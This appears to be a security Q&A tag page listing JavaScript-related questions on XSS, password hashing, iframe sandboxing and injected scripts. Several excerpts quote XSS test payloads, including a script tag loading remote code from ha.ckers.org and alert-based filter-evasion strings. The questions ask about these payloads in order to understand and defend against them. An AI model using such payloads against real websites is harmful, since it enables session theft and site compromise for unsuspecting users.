The common name for the language used primarily for scripting in web browsers. It is not related to the Java language. Standardized as ECMAScript, its dialects/implementations include JavaScript and JScript.

learn more… | top users | synonyms

10
votes
5answers
5k views

How to do client side hashing of password using BCrypt? [duplicate]

I am migrating an old application which used MD5 hashing to Spring Security with BCrypt encoding of passwords. I want to encode the password on new user creation page, change password page and on ...
10
votes
2answers
2k views

How do the Stack Exchange sites protect themselves from XSS? [duplicate]

It seems to me that because Users can post questions and comments in them with HTML markup (possibly <script> tags), Stack Exchange sites would be very exposed to XSS attacks. How do they ...
10
votes
4answers
570 views

Does my UI need to be secure if my API is?

I'm working on a project that is creating two new, separate web modules (possibly even on different servers) to support a new web application, with one serving up a static JS-based UI and the other ...
10
votes
3answers
3k views

How bad is a Self Contained XSS attack?

Some of you might be familiar with this attack called Self Contained XSS. I recently stumbled upon this article about it. So how bad this kind of attack can be, even though this doesn't have access to ...
10
votes
4answers
3k views

I've encountered JavaScript attack code - how do I search for information on the exploit's specifics?

So, I clicked on a reasonably-looking LinkedIn invite, not thinking about hovering overing the link first, since usually the e-mail client warns me about such things. Once I realized I landed on an ...
10
votes
4answers
3k views

My ISP is injecting strange codes to every website I visit

Here's the code at the bottom of every page: <script type="text/javascript">if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = ...
10
votes
3answers
304 views

Are bookmarklets safe with facebook data?

I usually play Mafia Wars and use bookmarklets like Spockholm, Arum, etc. Can these bookmarklets get my Facebook data when I run them, they usually ask to unframe the Facebook page? I was just ...
10
votes
1answer
945 views

How can I embed iframe securely without restricting its functionality?

I'd want to embed an iframe from untrusted site into web application. Iframe: should be able to run Javascript and browser plugins (Flash, etc.) should not be able to access my web application ...
9
votes
3answers
7k views

How can i find what hashing algorithm was used?

One of my clients has asked me to modify the login page that their board members use to access their materials. The problem here is that the person previously responsible for this has left no ...
9
votes
3answers
2k views

How serious are XSS attacks

A website I visit allows this kind of attack, to be implemented with GET in the URL <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> Along with many others on this page: ...
9
votes
3answers
516 views

How could the string \";alert('XSS');// be used for XSS?

I was using Burp Suite for some testing and I noticed that they included the following string: \";alert('XSS');// as an attack string for an XSS payload. How could this string be used to execute ...
9
votes
3answers
5k views

Is there a way to bypass Django's XSS escaping with “unicode”?

Django (the Python web framework) escapes output to prevent XSS (Cross Site Scripting) attacks. It replaces ', ", <, >, & with their HTML safe versions. However this presentation on slide ...
9
votes
5answers
2k views

Mobile Carrier Javascript Injection

So it appears that T-Mobile in the UK are injecting a javascript file into the head of files that are transfered over their mobile data network. The file in question is 1.2.3.8/bmi-int-js/bmi.js ...
9
votes
2answers
2k views

Security Concerns on clientside(Javascript)

We are going to design and implement a UI for a big website. Owner of the site is really cautious about security issues. I wonder if there is a check list for security issues at the client-side ,while ...
9
votes
1answer
731 views

XSS Technique - & JavaScript Include

I was looking through the OWASP XSS Filter Evasion Cheat Sheet, and there was one technique that was completely new to me: & JavaScript includes <BR SIZE="&{alert('XSS')}"> I ...
9
votes
3answers
2k views

localStorage for apps over https. What expectations are there?

I run an online gradebook. To keep student data private, I transfer all data over https. Now, I'd like to use localStorage to avoid redundant calculations and server requests. However, according to ...
9
votes
2answers
843 views

User-specific Subdomains : JavaScript security

If I provide a public-facing website for users on my website at their own subdomain (e.g. bob.myapp.com) under their own control, can I allow them to execute arbitrary JavaScript without putting my ...
9
votes
4answers
2k views

XSS using JSF**k

I was reading about JSf**k. From their website: JSF**k is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and ...
9
votes
3answers
2k views

Secure a publicly accessible REST api

We're building a public single page app in JavaScript that talks to a back-end REST service. What we want is for that REST-service to be only accessible from the single page app. Since it's a public ...
9
votes
3answers
862 views

Any eventhandlers that apply to hidden elements?

I'm trying to XSS a search field and my attack vector is getting reflected like this: <input type="text" id="txtRpHiddenKeyword" style="display: none;" value="ATTACK VECTOR HERE" /> Only ...
8
votes
5answers
14k views

Hiding JavaScript source code

In a web-app should one strive to hide as much of the code as possible, for example from view source? In particular I was wondering should JavaScript be hidden, especially ones used for Ajax? I was ...
8
votes
6answers
36k views

Playing with Referrer Header

There are 2 sites: http://www.site1.com http://www.site2.com http://www.site1.com contains link to http://www.site2.com as <a href="http://www.site2.com/">link<a/> When user clicks ...
8
votes
4answers
764 views

Session Hijacked in case javascript blocked [closed]

If I blocked Javascript to be executed. Then what are the ways by which XSS can occur and what are possible threats in case of intranet application.
8
votes
4answers
4k views

Why disable JavaScript in Tor? [duplicate]

Why it is not advisable to use JavaScript with Tor? Yet with JavaScript, you cannot get the IP address of the user except through an external website. How could using JavaScript with Tor expose one's ...
8
votes
2answers
797 views

Best practices for integrating external javascript?

I'm looking for some standard pieces of advice on how to integrate external JavaScript into a website. For example, on mywebsite.com: <script ...
8
votes
3answers
244 views

Preventing user supplied javascript from posting to external server

I am writing an internal tool that will support plugins written by other developers. Ideally, these plugins would have a Javascript component to allow people to make widgets. Some of the pages these ...
8
votes
1answer
5k views

Iframe javascript Keylogger

Is it possible for a website to have a javascript keylogger and also contain an iframe that goes to a "client" site. Can the the JS log all key strokes done on the client site? Can the (host) iframe ...
8
votes
5answers
407 views

Is it a risk to highlight text while reading a webpage?

Whenever a user selects or highlights text on a webpage, an OnClick() event is generated. Some of the web browser security models depends on explicit end user interaction, such as OnClick(), before a ...
7
votes
2answers
1k views

Similarities among all/most malicious JavaScript

I'm working on a web app that notifies users on whether or not the JavaScript that they entered is malicious. I'm using this article (Examples of malicious javascript) for reference. Is it possible ...
7
votes
4answers
2k views

Escaping JavaScript constants

how can untrusted values be included in a html-page as javascript string constants? Although the case i am asking uses JSF and Rails, I think this is a general problem independent of the server side ...
7
votes
4answers
951 views

Security attacks on PHP web applications

I know about following security attacks on php applications (html,php,js). XSS SQL Injection CSFR Session Hijacking /Fixation Code Injection Remote file injection Should i know about any other or ...
7
votes
1answer
2k views

What possible use does an iFrame have for security?

I'm looking at code for an old login form I'm redesigning. It's a simple table with two input fields for username and password. But just before the end </table> tag there's a blank iFrame which ...
7
votes
2answers
9k views

DOM Based XSS attacks: what is the most dangerous example?

I knew that XSS attacks (“non-persistent” and “persistent”) can hijack user session, deface websites, conduct phishing attack, etc. However, I can't understand what is dangerous of DOM Based XSS if ...
7
votes
2answers
21k views

Javascript and jQuery not secure over https

I am building an ASP.NET MVC 3 app which will run in Azure. Everything was working well, until I switched to https. Now most of my jQuery plugins and some other javascript are not secure. I'm using ...
7
votes
1answer
364 views

Javascript phishing attack sucker: Do I need to be worried? [closed]

So, I'm an idiot. I opened a javascript phishing attack file. I would really, really appreciate some help with decoding the Javascript to figure out whether I'm in trouble, and what sort. I'm on OS X ...
7
votes
1answer
935 views

Access to other local files from a local HTML file

I tried this question on programmers site with no luck Do you see any reason to block a local html file from accessing another local files located in the same folder? I mean, if a user downloaded an ...
7
votes
4answers
345 views

Limited JavaScript app scenario: Attack vectors and mitigation

I'm going to be developing a single page JavaScript app which allows input via a textarea. This input is never sent to the server, never shown to another user, and will only be persisted in browser ...
7
votes
3answers
140 views

Automatic detection of a compromised web server

I'm trying to figure out if it is possible to automatically detect the the fact that the HTML or javascript files on a server have been tampered with or changed by an attacker. Our website, say ...
7
votes
2answers
538 views

Do Javascript malware signatures exist?

Are there signatures for malicious JavaScript codes as they exist for other viruses/worms/trojans developed in other programming languages ? If so, are these JavaScript malware signatures defined ...
7
votes
2answers
4k views

Risks of client-side encryption using Stanford Crypto Library

I'm building a simple web application for encrypted chat. Each message will undergo 256-bit AES encryption on the client side, using the Stanford Javascript Crypto Library. No unencrypted data or ...
7
votes
1answer
99 views

Unlock codes for a mobile app

This is for an Android (via Cordova/Phonegap) game project. My goal is to be able to provide a "promo code" that will allow anyone to unlock the game for free, but I want to limit each code to only ...
7
votes
1answer
808 views

Child iFrame hash verification of parent iFrame content

Consider the following scenario: Alice wishes to browse Victor's website while on the job at Initech. Victor's website is hosted on an alternative domain name system to which Initech's DNS does not ...
6
votes
3answers
2k views

What's wrong with my own authentication scheme?

So I want to write my own authentication scheme for a web-app server, as follows. I assume this is a Bad Idea from either security or cost-effectiveness reasons and I know the conventional wisdom is ...
6
votes
5answers
9k views

Obfuscating JavaScript code

Some Flash developers are afraid of JavaScript. Their point of view: Stealing JS source code is effortless, one would just 'view source' and copy it. Yes, you can decompile Flash bytecode, however it ...
6
votes
3answers
1k views

How secure are self decrypting HTML files for data storage?

I recently came across a JavaScript self decrypting archive. Is it secure enough to be used as a portable password storage tool? The author has even challenged it to be cracked.
6
votes
4answers
8k views

What does scorecardsresearch.com/beacon.js - added by Disqus.com - do?

I recently added Disqus to my site. Looking at the "scripts" tab on Firebug, I noticed a script called, http://scorecardresearch.com/beacon.js (here is a prettified version - the script is not ...
6
votes
3answers
10k views

Secure jquery ajax calls from a non secure page

I could not find a clear answer, but if I have the following situation: I browse to a page let's say http://www.example.com/index.html Now I use a form on this page to do a postback with jquery's ...
6
votes
2answers
3k views

UTF-7 XSS attacks in modern browsers

I've recently read about utf-7 XSS-attacks (i.e. Ned Batchelders article at http://nedbatchelder.com/blog/200704/xss_with_utf7.html) but could not get any UTF-7 attack to work in modern browsers. (I ...
6
votes
3answers
1k views

What authentication system (OpenID, Facebook, etc) permits Javascript-free and/or Cookie-Free operation?

I'm looking for an authentication system that relies on 3rd parties (ADFS, OpenID, SAML) but doesn't rely on cookies or Javascript... or at least can make them optional. My intent is to gracefully ...
6
votes
2answers
186 views

Is this a Javascript virus?

So I got a random email saying this. Looks very automated: "How are things? I was visting your website on 4/9/2016 and I'm very interested. I'm currently looking for work either full time or ...